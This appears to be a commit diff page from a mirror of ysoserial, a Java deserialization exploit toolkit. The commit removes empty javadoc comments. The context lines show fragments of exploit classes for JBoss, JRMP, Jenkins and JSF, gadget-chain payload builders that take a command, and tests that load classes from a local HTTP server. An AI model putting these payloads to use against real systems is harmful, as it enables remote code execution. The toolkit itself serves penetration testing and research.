archive/ysoserial
1
0
Fork 0
mirror of https://github.com/frohoff/ysoserial.git synced 2026-09-21 22:50:46 +08:00
Code Issues Packages Projects Releases Wiki Activity

Drop empty javadocs.

Browse Source
This commit is contained in:
mbechler
2016-03-09 14:11:15 +01:00
parent 2d6962162b
commit 6873a43409
19 changed files with 15 additions and 372 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/ysoserial/exploit/JBoss.java
+2 -75
View File
@@ -117,13 +117,6 @@ public class JBoss {
}
/**
* @param u
* @param payloadObject
* @param username
* @param password
*/
private static void doRun ( URI u, final Object payloadObject, String username, String password ) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
@@ -159,13 +152,6 @@ public class JBoss {
/**
* @param instance
* @param context
* @param ch
* @param c
* @param vc
*/
private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc ) {
if ( vc != null ) {
@@ -204,21 +190,6 @@ public class JBoss {
}
/**
* @param destination
* @param username
* @param password
* @param context
* @param instance
* @param options
* @param xnioSsl
* @return
* @throws IOException
* @throws InterruptedException
* @throws NoSuchAlgorithmException
* @throws NoSuchProviderException
* @throws KeyManagementException
*/
private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options )
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
@@ -263,14 +234,6 @@ public class JBoss {
return chf;
}
/**
* @param context
* @param ch
* @param options
* @return
* @throws IOException
*/
private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException {
Channel c;
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
@@ -294,15 +257,6 @@ public class JBoss {
}
/**
* @param c
* @return
* @throws ClassNotFoundException
* @throws NoSuchMethodException
* @throws IllegalAccessException
* @throws InvocationTargetException
* @throws MalformedURLException
*/
private static VersionedConnection makeVersionedConnection ( Channel c )
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
@@ -314,14 +268,6 @@ public class JBoss {
}
/**
* @param payloadObject
* @param mbc
* @throws IOException
* @throws InstanceNotFoundException
* @throws IntrospectionException
* @throws ReflectionException
*/
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1];
@@ -359,10 +305,7 @@ public class JBoss {
}
}
/**
* @author mbechler
*
*/
private static final class ConsoleLogHandler extends Handler {
@@ -382,18 +325,11 @@ public class JBoss {
public void close () throws SecurityException {}
}
/**
* @author mbechler
*
*/
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private ConnectionProviderContextImpl context;
/**
* @param context
*/
public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) {
this.context = context;
}
@@ -422,10 +358,7 @@ public class JBoss {
}
}
/**
* @author mbechler
*
*/
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private XnioWorker worker;
@@ -434,12 +367,6 @@ public class JBoss {
private Endpoint endpoint;
/**
* @param endpointName
* @throws IOException
* @throws IllegalArgumentException
*
*/
public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance();
src/main/java/ysoserial/exploit/JRMPClient.java
-15
View File
@@ -46,14 +46,6 @@ public class JRMPClient {
Utils.releasePayload(args[2], payloadObject);
}
/**
* @param hostname
* @param port
* @param payloadObject
* @throws IOException
* @throws UnknownHostException
* @throws SocketException
*/
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
@@ -97,15 +89,8 @@ public class JRMPClient {
}
}
/**
* @author mbechler
*
*/
static final class MarshalOutputStream extends ObjectOutputStream {
/**
* @param out
*/
MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
}
src/main/java/ysoserial/exploit/JRMPListener.java
-27
View File
@@ -44,12 +44,6 @@ public class JRMPListener implements Runnable {
private boolean hadConnection;
/**
* @param port
* @param payloadObject
* @throws IOException
* @throws NumberFormatException
*/
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
@@ -113,11 +107,6 @@ public class JRMPListener implements Runnable {
}
/**
* {@inheritDoc}
*
* @see java.lang.Runnable#run()
*/
public void run () {
try {
Socket s = null;
@@ -205,12 +194,6 @@ public class JRMPListener implements Runnable {
}
/**
* @param s
* @param in
* @param out
* @throws Exception
*/
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");
@@ -239,19 +222,9 @@ public class JRMPListener implements Runnable {
}
/**
* @param in
* @param out
* @throws Exception
*/
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
/**
* {@inheritDoc}
*
* @see java.io.ObjectInputStream#resolveClass(java.io.ObjectStreamClass)
*/
@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
throw new IOException("Not allowed to read object");
src/main/java/ysoserial/exploit/JSF.java
-3
View File
@@ -20,9 +20,6 @@ import ysoserial.payloads.ObjectPayload.Utils;
*/
public class JSF {
/**
* @param args
*/
public static void main ( String[] args ) {
if ( args.length < 3 ) {
src/main/java/ysoserial/exploit/JenkinsListener.java
-28
View File
@@ -103,17 +103,6 @@ public class JenkinsListener {
}
/**
* @param oid
* @param uro
* @param reqClass
* @return
* @throws NoSuchMethodException
* @throws InstantiationException
* @throws IllegalAccessException
* @throws InvocationTargetException
* @throws ClassNotFoundException
*/
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
@@ -125,15 +114,6 @@ public class JenkinsListener {
}
/**
* @param args
* @param payloadClass
* @param jrmpPort
* @param isa
* @param e
* @throws Exception
* @throws IOException
*/
private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,
InetSocketAddress isa, Exception e ) throws Exception, IOException {
String msg = e.getMessage();
@@ -171,14 +151,6 @@ public class JenkinsListener {
}
/**
* @param inetSocketAddress
* @param obj
* @param o1
* @param o2
* @param o3
* @throws IOException
*/
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
throws IOException {
Socket s = null;
src/main/java/ysoserial/payloads/C3P0.java
+1 -4
View File
@@ -62,10 +62,7 @@ public class C3P0 implements ObjectPayload<Object> {
private String className;
private String url;
/**
* @param className
* @param url
*/
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
src/main/java/ysoserial/payloads/FileUpload1.java
+1 -20
View File
@@ -42,11 +42,6 @@ import ysoserial.payloads.util.Reflections;
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
*/
public DiskFileItem getObject ( String command ) throws Exception {
String[] parts = command.split(":");
@@ -71,12 +66,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
}
}
/**
* {@inheritDoc}
* @throws Exception
*
* @see ysoserial.payloads.ReleaseableObjectPayload#release(java.lang.Object)
*/
public void release ( DiskFileItem obj ) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
@@ -100,15 +90,6 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
}
/**
* @param thresh
* @param repoPath
* @param filePath
* @param data
* @return
* @throws IOException
* @throws Exception
*/
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
src/main/java/ysoserial/payloads/Hibernate1.java
-17
View File
@@ -94,11 +94,6 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
}
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
*/
public Object getObject ( String command ) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
@@ -106,18 +101,6 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
}
/**
* @param tpl
* @param getters
* @return
* @throws NoSuchMethodException
* @throws InstantiationException
* @throws IllegalAccessException
* @throws InvocationTargetException
* @throws NoSuchFieldException
* @throws Exception
* @throws ClassNotFoundException
*/
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
src/main/java/ysoserial/payloads/JSON1.java
-11
View File
@@ -67,11 +67,6 @@ import net.sf.json.JSONObject;
} )
public class JSON1 implements ObjectPayload<Object> {
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
*/
public Map getObject ( String command ) throws Exception {
return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
}
@@ -117,12 +112,6 @@ public class JSON1 implements ObjectPayload<Object> {
return Gadgets.makeMap(t1, t2);
}
/**
*
* @param args
* @throws Exception
*/
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JSON1.class, args);
}
src/main/java/ysoserial/payloads/Myfaces1.java
-6
View File
@@ -42,12 +42,6 @@ import ysoserial.payloads.util.Reflections;
@PayloadTest(skip="Requires running MyFaces, no direct execution")
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
*/
public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command);
}
src/main/java/ysoserial/payloads/Myfaces2.java
-7
View File
@@ -35,13 +35,6 @@ public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
}
/**
* {@inheritDoc}
*
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
*/
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
src/main/java/ysoserial/payloads/ObjectPayload.java
-14
View File
@@ -56,11 +56,6 @@ public interface ObjectPayload <T> {
}
/**
* @param payloadType
* @param payloadArg
* @return an payload object
*/
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
@@ -80,11 +75,6 @@ public interface ObjectPayload <T> {
}
/**
* @param payload
* @param object
* @throws Exception
*/
@SuppressWarnings ( "unchecked" )
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof ReleaseableObjectPayload ) {
@@ -93,10 +83,6 @@ public interface ObjectPayload <T> {
}
/**
* @param payloadType
* @param payloadObject
*/
public static void releasePayload ( String payloadType, Object payloadObject ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java
-6
View File
@@ -1,9 +1,3 @@
/**
* © 2016 AgNO3 Gmbh & Co. KG
* All right reserved.
*
* Created: 06.03.2016 by mbechler
*/
package ysoserial.payloads;
src/main/java/ysoserial/payloads/Spring2.java
-6
View File
@@ -61,12 +61,6 @@ public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
return mitp;
}
/**
*
* @param args
* @throws Exception
*/
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Spring2.class, args);
}
src/test/java/ysoserial/payloads/FileUploadTest.java
+1 -10
View File
@@ -38,11 +38,7 @@ public class FileUploadTest implements CustomTest {
}
}
/**
* {@inheritDoc}
*
* @see ysoserial.CustomTest#run(java.util.concurrent.Callable)
*/
public synchronized void run ( Callable<Object> payload ) throws Exception {
try {
Files.write(FDATA, this.source);
@@ -68,11 +64,6 @@ public class FileUploadTest implements CustomTest {
}
}
/**
* {@inheritDoc}
*
* @see ysoserial.CustomTest#getPayloadArgs()
*/
public String getPayloadArgs () {
return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath();
}
src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java
-14
View File
@@ -1,7 +1,6 @@
package ysoserial.payloads;
import java.io.IOException;
import java.util.concurrent.Callable;
import javax.management.BadAttributeValueExpException;
@@ -30,14 +29,6 @@ public class JRMPReverseConnectTest implements CustomTest {
}
/**
* {@inheritDoc}
*
* @throws IOException
* @throws NumberFormatException
*
* @see java.lang.Runnable#run()
*/
public void run ( Callable<Object> payload ) throws Exception {
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
Thread t = new Thread(l, "JRMP listener");
@@ -59,11 +50,6 @@ public class JRMPReverseConnectTest implements CustomTest {
}
/**
* {@inheritDoc}
*
* @see ysoserial.CustomTest#getPayloadArgs()
*/
public String getPayloadArgs () {
return "localhost:" + port;
}
src/test/java/ysoserial/payloads/MyfacesTest.java
+8 -53
View File
@@ -33,19 +33,13 @@ import ysoserial.Deserializer;
*/
public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
/**
* @param command
*/
public MyfacesTest ( String command ) {
super(command);
}
/**
* {@inheritDoc}
*
* @see ysoserial.CustomDeserializer#getCustomDeserializer()
*/
public Class<?> getCustomDeserializer () {
return MyfacesDeserializer.class;
}
@@ -69,11 +63,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
private Map<String, Object> attributes = new HashMap<String, Object>();
/**
* {@inheritDoc}
*
* @see org.mockito.stubbing.Answer#answer(org.mockito.invocation.InvocationOnMock)
*/
public Object answer ( InvocationOnMock invocation ) throws Throwable {
if ( "setAttribute".equals(invocation.getMethod().getName()) ) {
@@ -94,18 +83,11 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
private ServletRequest request;
/**
*
*/
public MockELResolver (ServletRequest req) {
this.request = req;
}
/**
* {@inheritDoc}
*
* @see javax.el.ELResolver#getValue(javax.el.ELContext, java.lang.Object, java.lang.Object)
*/
@Override
public Object getValue ( ELContext context, Object base, Object property ) {
if ( base == null && "request".equals(property)) {
@@ -116,11 +98,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
return null;
}
/**
* {@inheritDoc}
*
* @see javax.el.ELResolver#getType(javax.el.ELContext, java.lang.Object, java.lang.Object)
*/
@Override
public Class<?> getType ( ELContext context, Object base, Object property ) {
if ( base == null && "request".equals(property)) {
@@ -130,41 +108,25 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
return null;
}
/**
* {@inheritDoc}
*
* @see javax.el.ELResolver#setValue(javax.el.ELContext, java.lang.Object, java.lang.Object, java.lang.Object)
*/
@Override
public void setValue ( ELContext context, Object base, Object property, Object value ) {
}
/**
* {@inheritDoc}
*
* @see javax.el.ELResolver#isReadOnly(javax.el.ELContext, java.lang.Object, java.lang.Object)
*/
@Override
public boolean isReadOnly ( ELContext context, Object base, Object property ) {
return true;
}
/**
* {@inheritDoc}
*
* @see javax.el.ELResolver#getFeatureDescriptors(javax.el.ELContext, java.lang.Object)
*/
@Override
public Iterator<FeatureDescriptor> getFeatureDescriptors ( ELContext context, Object base ) {
return null;
}
/**
* {@inheritDoc}
*
* @see javax.el.ELResolver#getCommonPropertyType(javax.el.ELContext, java.lang.Object)
*/
@Override
public Class<?> getCommonPropertyType ( ELContext context, Object base ) {
return null;
@@ -172,9 +134,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
}
/**
* @param bytes
*/
public MyfacesDeserializer ( byte[] bytes ) {
super(bytes);
}
@@ -198,10 +157,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
}
/**
* @return
* @throws MalformedURLException
*/
private static FacesContext createMockFacesContext () throws MalformedURLException {
FacesContext ctx = Mockito.mock(FacesContext.class);
CompositeELResolver cer = new CompositeELResolver();
src/test/java/ysoserial/payloads/PayloadsTest.java
+1 -21
View File
@@ -143,11 +143,7 @@ public class PayloadsTest {
}
/**
* @param payloadClass
* @param command
* @return
*/
private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
return new Callable<byte[]>() {
@@ -162,13 +158,6 @@ public class PayloadsTest {
}
/**
* @param t
* @param addlClassesForClassLoader
* @param deps
* @param serialized
* @return
*/
private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
final byte[] serialized, final Class<?> customDeserializer ) {
return new Callable<Object>() {
@@ -187,15 +176,6 @@ public class PayloadsTest {
}
/**
* @param payloadClass
* @return
* @throws SecurityException
* @throws NoSuchMethodException
* @throws InvocationTargetException
* @throws IllegalArgumentException
* @throws IllegalAccessException
*/
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
String[] baseDeps;
if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java
-34
View File
@@ -24,9 +24,6 @@ public class RemoteClassLoadingTest implements WrappedTest {
private String command;
private String className;
/**
*
*/
public RemoteClassLoadingTest ( String command ) {
this.command = command;
this.port = new Random().nextInt(65535-1024)+1024;
@@ -34,21 +31,11 @@ public class RemoteClassLoadingTest implements WrappedTest {
}
/**
* {@inheritDoc}
*
* @see ysoserial.WrappedTest#getPayloadArgs()
*/
public String getPayloadArgs () {
return String.format("http://localhost:%d/", this.port) + ":" + this.className;
}
/**
* {@inheritDoc}
*
* @see ysoserial.WrappedTest#createCallable(java.util.concurrent.Callable)
*/
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
}
@@ -75,9 +62,6 @@ public class RemoteClassLoadingTest implements WrappedTest {
private byte[] data;
/**
* @param innerCallable
*/
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
super(port);
this.data = data;
@@ -86,11 +70,6 @@ public class RemoteClassLoadingTest implements WrappedTest {
}
/**
* {@inheritDoc}
*
* @see java.util.concurrent.Callable#call()
*/
public Object call () throws Exception {
try {
setup();
@@ -102,29 +81,16 @@ public class RemoteClassLoadingTest implements WrappedTest {
}
/**
* @throws IOException
*
*/
private void setup () throws IOException {
start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
}
/**
*
*/
private void cleanup () {
stop();
}
/**
* {@inheritDoc}
*
* @see fi.iki.elonen.NanoHTTPD#serve(fi.iki.elonen.NanoHTTPD.IHTTPSession)
*/
@Override
public Response serve ( IHTTPSession sess ) {
return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);